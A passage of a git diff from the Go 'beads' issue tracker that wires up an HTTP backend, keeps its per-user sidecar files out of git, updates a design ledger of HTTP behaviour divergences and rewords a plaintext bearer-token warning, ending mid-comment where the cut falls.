b/cmd/bd/context_cmd.go @@ -7,6 +7,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/httpclient" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage/domain" ) @@ -135,7 +136,19 @@ Examples: // while each held its own copy of `Backend: configfile.BackendDolt`. func applyContextBackend(snapshot *domain.ContextInfo, beadsDir string, cfg *configfile.Config) error { snapshot.SetBackendIdentity(cfg.GetBackend(), cfg.GetDoltMode(), cfg.GetDoltDatabase()) - snapshot.ProjectID = cfg.ProjectID + if cfg.GetBackend() == httpclient.Backend { + // The http backend's identity lives in the per-user, gitignored + // sidecar (`bd connect`'s MED-6 fix stopped mirroring it into the + // git-tracked metadata.json), so `bd context` must read it from + // there too. A missing sidecar (ErrNotConnected) or any other read + // failure just leaves ProjectID empty rather than failing this + // otherwise-degraded-state-tolerant command. + if target, err := httpclient.LoadTarget(beadsDir); err == nil { + snapshot.ProjectID = target.ExpectProjectID + } + } else { + snapshot.ProjectID = cfg.ProjectID + } if cfg.IsDoltServerMode() { snapshot.ServerHost = cfg.GetDoltServerHost() diff --git a/cmd/bd/doctor/gitignore.go b/cmd/bd/doctor/gitignore.go index 88904836e..b4c48e8e6 100644 --- a/cmd/bd/doctor/gitignore.go +++ b/cmd/bd/doctor/gitignore.go @@ -41,8 +41,12 @@ push-state.json proxied_server_client_info.json -# http backend activation sidecar (per-user server URL and identity pin) +# HTTP backend activation sidecar and per-user local metadata (per-user state, +# never tracked — the server URL and any ca_file path are machine-specific, +# and the local metadata sidecar mirrors proxied_server_client_info.json's +# per-user precedent). Written by bd connect. http_target.json +http_local_metadata.json # Worktree redirect file (contains relative path to main repo's .beads/) # Must not be committed as paths would be wrong in other clones @@ -143,6 +147,7 @@ var requiredPatterns = []string{ ".beads-credential-key", "proxied_server_client_info.json", "http_target.json", + "http_local_metadata.json", ".local_version", "backup/", } diff --git a/cmd/bd/http_backend.go b/cmd/bd/http_backend.go new file mode 100644 index 000000000..afebccdbf --- /dev/null +++ b/cmd/bd/http_backend.go @@ -0,0 +1,16 @@ +package main + +import bdhttp "github.com/steveyegge/beads/backend/http" + +// Registering the http backend is a property of the bd distribution being +// built, not of the import graph (see bdhttp.Register's own doc comment): OSS +// ships `bd serve`, so OSS `bd` should be able to talk to it too, and this is +// the one production call site. A workspace whose metadata.json names any +// OTHER unregistered backend still hard-fails with the registry's +// UnknownBackendError, exactly as before this file existed — only "http" +// becomes selectable, and only because this file registers it. +func init() { + bdhttp.Register(bdhttp.Options{ + UserAgent: "bd/" + Version + " " + bdhttp.UserAgentSuffix, + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 901d461ee..1d3e4410c 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -30,6 +30,7 @@ import ( "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/doltserver" "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/httpclient" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/migration" "github.com/steveyegge/beads/internal/molecules" @@ -2757,6 +2758,28 @@ func validateWorkspaceIdentity(ctx context.Context, s storage.DoltStorage, beads return nil // No config, skip validation (fresh init) } configProjectID := cfg.ProjectID + if cfg.GetBackend() == httpclient.Backend { + // The http backend's identity pin lives in the per-user, gitignored + // sidecar, not in metadata.json: `bd connect` (MED-6) stopped + // mirroring project_id into the git-tracked config, so cfg.ProjectID + // here is whatever the workspace carried BEFORE connect — generally + // a different project's id than the server `bd connect --force` + // just pointed it at. Comparing that stale value against the live + // database's _project_id below would flag every write as drift. + // Read the sidecar instead, exactly as applyContextBackend + // (context_cmd.go) does for `bd context`. A missing sidecar + // (ErrNotConnected) or any other read failure falls through to the + // "no project_id" skip just below, the same as a pre-identity + // workspace — the wire handshake's own ExpectProjectID gate (design + // D6) is what actually refuses a mismatched server at dial time; + // this check only needs to avoid a FALSE mismatch once that gate has + // already passed. + target, err := httpclient.LoadTarget(beadsDir) + if err != nil { + return nil + } + configProjectID = target.ExpectProjectID + } if configProjectID == "" { return nil // No project_id in config (pre-identity era) } diff --git a/cmd/bd/storage_chain.go b/cmd/bd/storage_chain.go index 5ad976017..0c420d5c2 100644 --- a/cmd/bd/storage_chain.go +++ b/cmd/bd/storage_chain.go @@ -40,6 +40,17 @@ func wireStorageDecorators(store storage.DoltStorage, hookRunner *hooks.Runner, // wireExternalDependencyPolicy applies only the read/guard policy. Routed // stores must use this without inheriting the caller's hooks or telemetry. +// +// It ALWAYS wraps, including a registered Remote backend (design 3.6): a +// remote server that enforces this policy itself answers the decorator's +// storage.ExternalDependencyPolicyProber probe (implemented by +// httpclient.Store, keyed on the handshake's wire.CapExternalDependencies +// token) with true, so the decorator's own loadBlockingState is a cheap no-op +// for that server — but a server that does NOT advertise the capability must +// still get client-side enforcement, which requires wrapping it in the first +// place. Skipping the wrap here for every remote backend (the pre-S6-fix +// behavior) silently dropped the policy entirely against such a server; the +// capability-aware skip now lives inside the decorator, not at wrap time. func wireExternalDependencyPolicy(store storage.DoltStorage) storage.DoltStorage { if store == nil { return nil diff --git a/engdocs/design/http-divergence-ledger.md b/engdocs/design/http-divergence-ledger.md index 9815c30b1..f00882cb5 100644 --- a/engdocs/design/http-divergence-ledger.md +++ b/engdocs/design/http-divergence-ledger.md @@ -47,7 +47,7 @@ the behavior. ## Summary -264 rows: 205 refuse, 33 degrade, 26 retired. +264 rows: 204 refuse, 34 degrade, 26 retired. ## Whole-behavior divergences (D9 ledger) @@ -62,13 +62,13 @@ The L-rows the design's D9 table names: whole behaviors that differ over HTTP, e | L5 | degrade | — | molecules are not auto-loaded pre-run | the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf | D9 L5, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | | L6 | degrade | — | a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported | THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was "force-disabled through an import.auto=false env override", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism | D9 L6, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | | L7 | degrade | — | the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side | the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary | D9 L7, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| L8 | refuse | `--deps` | `bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated | GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L8 | degrade | `--deps` | `bd list --deps` and the policy decorator's compatibility fallback for its whole-workspace blocking state (design 3.6) both work, but by a client-side chunked scan rather than a single wire call | GetAllDependencyRecords has no 1:1 wire mapping in v1 — listDependencies is anchored at <=100 ids per call (L12's maxEdgeCountAnchors) — so the client enumerates every issue id (fetchIssuePages) and issues it in chunks, grouping the results itself; this is slower and heavier than a local store's single query, not absent. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering. The decorator takes that scan for its whole-workspace answers: ready work and its counts, the ready claim, and the single-issue close guard. Its per-issue roles (blocking annotation, the dependency tree, claim, and a batch close without a next claim) build on the client's served roles instead and read only the edges of the issues they name, through the served EdgeReader in chunks under the same cap (internal/storage/externaldeps/remote_roles.go) | D9 L8, D4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L9 | degrade | — | credential-bearing settings are unreadable client-side | the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset | D9 L9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L10 | refuse | `--watch` | `bd list --watch` and `bd show --watch` refuse | the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from | D9 L10, D10 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L11 | degrade | — | hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only | the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none | D9 L11, D1 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L12 | refuse | — | an inexpressible filter refuses, never drops — the class rule every E- row below is an instance of | a dropped filter widens a result set invisibly, and the server can only reject parameters it receives | D9 L12, D7 | TestEncoderHonorsEveryTableDisposition | | L13 | degrade | — | pretty `bd ready` shows no parent-epic context | buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue | D9 L13, D4 | TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it | -| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510 | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L14 | degrade | — | against a server that does NOT advertise issues.claimNext, or on the CLI's chain while any issue in the workspace, closed ones included, holds an unsatisfied external ref, a composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction | claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. A SECOND COMPOSED LEG exists on any server. On the CLI's chain the external-dependency decorator (design 3.6) hands the claim to this role only while no issue in the workspace holds an unsatisfied external ref, because claimNext has no parameter to exclude what that policy refuses. Otherwise it claims down its own filtered ready page through the served Claimer, so all three residues return, the second as a lost-races error (internal/storage/externaldeps/remote_roles.go). A closed holder counts, as it does in every backend's blocking state: it can never be a candidate, so the composed claim picks what the served one would, and leaving it out would cost a status read per holder. A server that advertises wire.CapExternalDependencies enforces the policy itself and never reaches that leg. `bd close --claim-next` takes no composed leg: the decorator refuses it rather than claim after the close commits (F-close). Retirement of the down-level leg is no longer an upstream ask but a fleet fact: it goes when no server this client may meet is older than #5510. The decorator's leg goes with an exclusion parameter on claimNext, or once every server enforces the policy itself | D9 L14, D8 row 4 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L15 | degrade | — | a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk | locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all | D9 L15, D12 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L16 | refuse | `--file` | `bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked | maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly | D9 L16, D7, D8 row 18 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | L-close-cap | refuse | — | a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked | maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own | D9 L-close-cap, D7 F-close, D8 row 17 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | @@ -157,7 +157,7 @@ Whole commands, and the flag modes of served commands, that dispatch onto method | F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | -| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-close | refuse | — | `bd close` is SERVED whole — single id and several ids — over issues:batchClose; it refuses against a DOWN-LEVEL server that does not advertise issues.batchClose, and --claim-next refuses against every server, before anything closes | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so a CloseBatchRequest of any size is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. THE NEXT CLAIM IS THE EXCEPTION. batchCloseIssues has no member to carry it, so the client refuses a ClaimNext on both legs, after the claim's own validation and before the dial (W-CloseBatchRequest.ClaimNext). Closing and then claiming would split the role's one transaction in two, and a claim that failed after the closes committed could not report them, because the role answers with an error or with outcomes, never both. On the CLI's chain the external-dependency decorator (design 3.6) refuses first unless the server advertises wire.CapExternalDependencies, and its refusal says nothing closed and names the commands that do the same work: close without --claim-next, then `bd ready --claim` (internal/storage/externaldeps/remote_roles.go). Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), which names the refused shape and the server, and cmd/bd prints it against each id the batch carried. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | | F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Ready-request fields diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel index 1f3a63467..8f2a4c81d 100644 --- a/internal/gitignore/BUILD.bazel +++ b/internal/gitignore/BUILD.bazel @@ -2,14 +2,20 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "gitignore", - srcs = ["append.go"], + srcs = [ + "append.go", + "ensure.go", + ], importpath = "github.com/steveyegge/beads/internal/gitignore", visibility = ["//:__subpackages__"], ) go_test( name = "gitignore_test", - srcs = ["append_test.go"], + srcs = [ + "append_test.go", + "ensure_test.go", + ], embed = [":gitignore"], ) diff --git a/internal/gitignore/ensure.go b/internal/gitignore/ensure.go new file mode 100644 index 000000000..7d5795cc6 --- /dev/null +++ b/internal/gitignore/ensure.go @@ -0,0 +1,42 @@ +package gitignore + +import ( + "os" + "path/filepath" + "strings" +) + +// EnsurePatternIgnored appends pattern to dir/.gitignore as a standalone line +// if it is not already present (matched exactly, after trimming whitespace, +// against each existing line — the same check +// cmd/bd/doctor.EnsureGitignoreForBeadsDir uses for its own required +// patterns). It creates the file (0600) when it does not exist yet. +// +// This is the minimal sibling of doctor.EnsureGitignoreForBeadsDir, not a +// move of it: that function also owns the full canonical .beads/.gitignore +// template, repairs permissions on an existing file, and covers every +// pattern bd's own on-disk state needs — and the cmd/bd/doctor package as a +// whole pulls in dolt and git-process dependencies through its other files. +// A caller like backend/http, which promises an embedder a minimal dependency +// footprint, cannot import cmd/bd/doctor just for this one line without +// breaking that promise. EnsurePatternIgnored exists so such a caller can +// still make the one guarantee it actually needs — this pattern is never +// offered to `git add` — on its own. The two are complementary and +// idempotent together: a workspace that goes through both ends up with the +// same file either way. +func EnsurePatternIgnored(dir, pattern string) error { + path := filepath.Join(dir, ".gitignore") + content, err := os.ReadFile(path) // #nosec G304 -- caller supplies the active beads dir + if os.IsNotExist(err) { + return os.WriteFile(path, AppendLines(nil, []string{pattern}), 0o600) + } + if err != nil { + return err + } + for _, line := range strings.Split(string(content), "\n") { + if strings.TrimSpace(line) == pattern { + return nil + } + } + return os.WriteFile(path, AppendLines(content, []string{pattern}), 0o600) +} diff --git a/internal/gitignore/ensure_test.go b/internal/gitignore/ensure_test.go new file mode 100644 index 000000000..f1b73e7d7 --- /dev/null +++ b/internal/gitignore/ensure_test.go @@ -0,0 +1,64 @@ +package gitignore + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestEnsurePatternIgnored(t *testing.T) { + t.Run("creates the file when missing", func(t *testing.T) { + dir := t.TempDir() + if err := EnsurePatternIgnored(dir, "http_target.json"); err != nil { + t.Fatalf("EnsurePatternIgnored: %v", err) + } + body, err := os.ReadFile(filepath.Join(dir, ".gitignore")) + if err != nil { + t.Fatalf("read .gitignore: %v", err) + } + if string(body) != "http_target.json\n" { + t.Errorf(".gitignore = %q, want %q", body, "http_target.json\n") + } + }) + + t.Run("appends when the pattern is missing from an existing file", func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + if err := os.WriteFile(path, []byte("local/\n"), 0o600); err != nil { + t.Fatalf("seed .gitignore: %v", err) + } + if err := EnsurePatternIgnored(dir, "http_target.json"); err != nil { + t.Fatalf("EnsurePatternIgnored: %v", err) + } + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read .gitignore: %v", err) + } + if !strings.Contains(string(body), "local/") { + t.Errorf(".gitignore lost its existing content: %q", body) + } + if !strings.Contains(string(body), "http_target.json") { + t.Errorf(".gitignore = %q, want it to contain http_target.json", body) + } + }) + + t.Run("is a no-op when the pattern is already present", func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".gitignore") + original := "local/\nhttp_target.json\n" + if err := os.WriteFile(path, []byte(original), 0o600); err != nil { + t.Fatalf("seed .gitignore: %v", err) + } + if err := EnsurePatternIgnored(dir, "http_target.json"); err != nil { + t.Fatalf("EnsurePatternIgnored: %v", err) + } + body, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read .gitignore: %v", err) + } + if string(body) != original { + t.Errorf(".gitignore changed on a no-op call: got %q, want unchanged %q", body, original) + } + }) +} diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 0a733fb39..5725230b0 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -24,6 +24,7 @@ go_library( "dial.go", "dispatch.go", "errors.go", + "insecure_credential_guard.go", "journal.go", "leasereclaimer.go", "lifecycle.go", @@ -32,6 +33,7 @@ go_library( "metadata.go", "metadatacas.go", "offrole.go", + "open_with.go", "order.go", "readyclaimer.go", "refusal.go", @@ -108,10 +110,12 @@ go_test( "divergence_test.go", "expected_revision_contract_test.go", "helpers_test.go", + "insecure_credential_guard_test.go", "lifecycle_create_test.go", "lifecycle_update_test.go", "list_sort_test.go", "metadatacas_test.go", + "open_with_test.go", "race_detector_off_test.go", "race_detector_on_test.go", "required_served_tier_test.go", @@ -131,6 +135,7 @@ go_test( "served_detail_reads_test.go", "served_dualrun_test.go", "served_dualwrite_history_test.go", + "served_external_dependency_policy_test.go", "served_graph_aux_test.go", "served_graph_counter_test.go", "served_harness_test.go", @@ -190,6 +195,7 @@ go_test( "//internal/storage/batchfixtures", "//internal/storage/domain", "//internal/storage/embeddeddolt", + "//internal/storage/externaldeps", "//internal/storage/issueops", "//internal/storage/sqlbuild", "//internal/types", diff --git a/internal/httpclient/completeness_test.go b/internal/httpclient/completeness_test.go index 36ee05cd3..4e0d404d4 100644 --- a/internal/httpclient/completeness_test.go +++ b/internal/httpclient/completeness_test.go @@ -250,7 +250,6 @@ var legitimatelyUnsupported = map[string]string{ // refuse on these, which is why they are named in D7's refused class. "DetectCycles": "raw read: role CycleDetector serves this shape", "FindWispDependentsRecursive": "raw read: no recursive-dependents operation", - "GetAllDependencyRecords": "raw read: listDependencies is anchored (L8, `bd list --deps`)", "GetBlockedIssues": "raw read: no blocked-set operation (`bd blocked`)", "GetBlockingInfoForIssues": "raw read: role BlockingAnnotator serves this shape", "GetDependencies": "raw read: role EdgeReader serves this shape", diff --git a/internal/httpclient/credential.go b/internal/httpclient/credential.go index 7be27ad8f..39959e428 100644 --- a/internal/httpclient/credential.go +++ b/internal/httpclient/credential.go @@ -206,16 +206,25 @@ func (p *BearerProvider) resolve(ctx context.Context) (token, source string, err return cred.Value, cred.Source, nil } -// warnInsecure fires once per provider, and only when a token is actually about -// to travel. bd serve has no TLS of its own, so a bearer bound anywhere but -// loopback crosses the network in the clear; that is an operator decision to -// make knowingly, in front of a reverse proxy that terminates TLS. +// warnInsecure fires once per provider, and only when a token is actually +// configured and about to be offered to Authorize's caller. bd serve has no +// TLS of its own, so a bearer bound anywhere but loopback crosses the network +// in the clear if it is sent at all; that is an operator decision to make +// knowingly, in front of a reverse proxy that terminates TLS. +// +// This fires BEFORE guardInsecureCredential (insecure_credential_guard.go) +// gets a chance to refuse the request outright on an unallowed target +// (bee-ghosttrack CHANGES_REQUESTED on #7288, should-fix 2's warning-text +// half): the two layers do not coordinate, so the wording here must stay +// true on EITHER outcome rather than asserting the token is being sent — a +// claim that used to read as misleading immediately above a refusal error +// saying the opposite. func (p *BearerProvider) warnInsecure() { if !p.insecure { return } p.warnOnce.Do(func() { - fmt.Fprintf(p.warnTo, "Warning: sending a bearer token to %s over plain http; the token crosses the network in the clear. Put bd serve behind TLS, or bind it to loopback.\n", p.endpoint) + fmt.Fprintf(p.warnTo, "Warning: a bearer token is configured for %s, which is plain http and not loopback; the token would cross the network in the clear unless refused. Put bd serve behind TLS, bind it to loopback, or accept the risk knowingly (bd connect --allow-plaintext, or BEADS_HTTP_ALLOW_INSECURE=1).\n", p.endpoint) }) } diff --git a/internal/httpclient/dial.go b/internal/httpclient/dial.go index f314dcbc7..e49979d7f 100644 --- a/internal/httpclient/dial.go +++ b/internal/httpclient/dial.go @@ -72,6 +72,17 @@ type DialOptions struct { // an external HTTPClient always goes through one of the two constructors // above, or the normal env-aware resolution. caOverride *resolvedCA + + // AllowInsecureCredential opts THIS dial into sending a credential over + // plain http to a 